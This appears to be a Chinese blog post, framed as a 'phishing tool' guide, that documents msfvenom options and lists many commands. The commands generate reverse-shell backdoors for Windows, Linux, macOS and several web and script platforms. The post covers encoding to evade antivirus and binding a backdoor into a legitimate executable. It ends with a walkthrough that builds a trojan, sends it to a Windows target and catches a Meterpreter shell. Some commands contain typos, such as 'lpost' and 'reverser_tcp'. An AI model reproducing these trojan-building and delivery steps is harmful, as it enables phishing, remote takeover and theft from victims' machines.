钓鱼工具——msfvenom

40 篇文章 35 订阅
32 篇文章 14 订阅

Msfvenom命令

1. –p (- -payload-options)

添加载荷payload。

载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了。

(- -payload-options 列出payload选项)

2. –l

查看所有payload encoder nops。

3. –f (- -help-formats)

输出文件格式。

(- -help-formats 列出所有文件格式)

Executable formats:

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war

Transform formats:

bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript

4.    –e

编码免杀。

5.    –a (- -platform  – -help-platforms)

选择架构平台

x86 | x64 | x86_64

Platforms:

windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe

6.    –o

文件输出。

7.    –s

生成payload的最大长度,就是文件大小。

8.    –b

避免使用的字符 例如:不使用 ‘\0f’。

9.    –i

编码次数。

10.         –c

添加自己的shellcode。

11.         –x | -k

捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

Msfvenom实例

普通生成

msfvenom -p <payload> <payload options> -f <format> -o <path>
msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe

编码处理型

msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>
msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe

捆绑

Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe

Windows

Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

 MAC

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

Asp

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.asp

Aspx

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

War

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

 Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh

 Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Python

msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

中文翻译

-l, --list           <type>              列出指定类型的所有模块 类型包括: payloads, encoders, nops, platforms, archs, formats, all

-p, --payload   <payload>       指定需要使用的payload(有效载荷)(--list payloads得到payload列表,--list-options得到指定payload的参数)                                                    如果需要使用自定义的payload,请使用'-'或者stdin指定
      --list-options                     列出指定payload的标准,高级和规避选项  例如:msfvenom -p generic/shell_bind_tcp --list-options                                                                 将列出shell_bind_tcp这个payload的各种选项信息

-f, --format        <format>        指定输出格式(使用 --list formats 列出所有的格式)

-e, --encoding   <encoder>     要使用的编码(使用 --list encoders 列出所有的编码) 用于编码加密
     --smallest                           使用所有可用的编码器生成尽可能小的有效负载

-a, --arch          <arch>            指定payload的目标CPU架构(使用 --list archs 列出所有的CPU架构)
     --platform    <platform>      指定payload的目标操作系统平台(使用 --list platforms 列出所有的操作系统平台)

-o, --out            <path>            将payload保存到文件中

-b, --bad-chars  <list>             指定不使用的字符集 例如:不使用'\x00\xff'这两个字符

-n, --nopsled     <length>        在payload上添加指定长度的nop指令

-s, --space        <length>        设定payload的最大长度    即生成的文件大小
     --encoder-space <length> 设定编码payload的最大长度(默认为-s的值)

-i, --iterations     <count>         对payload进行编码的次数

-c, --add-code    <path>           指定一个自己的win32 shellcode文件 

-x, --template      <path>          指定一个可执行程序 将payload捆绑其中 
                                                 例如:原先有个正常文件normal.exe 通过此选项把payload捆绑到这个程序上面

-k, --keep                                  针对-x中的捆绑程序 将创建新线程执行payload 一般情况-x -k选项一起使用

-v, --var-name     <value>         指定用于某些输出格式的自定义变量名称

-t, --timeout         <second>      从STDIN读取有效负载时等待的秒数(默认为30, 0为禁用)

-h, --help                                    查看帮助

实战演示

攻击者:kali Linux  ip:192.168.147.147

靶机:Windows10 

思路:利用msfvenom制作 .exe 文件,然后发送到靶机Windows上面,运行后就可以在kali linux 上面利用msfconsole连接msfvenom服务控制靶机

在kali  上面启动一个终端 执行以下命令

msfvenom -l | grep windows | grep x64 | grep tcp

列出所有可以用的并在屏幕显示条目中有 Windows x64 tcp 的

 payload在这里我们选择windows/x64/meterpreter/reverse_tcp

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.147.147 lpost=4444 -f exe > test.exe 

在这里,我们生成一个test.exe的木马文件(文件在root文件夹下),控制端的ip:192.168.147.147,端口号为4444。然后利用这个木马传给靶机

利用msfconsole监听

启动msfconsole

输入以下命令 

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.147.147

set lport 4444

exploit

当靶机点击了那个文件时就拿到对方主机的shell了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值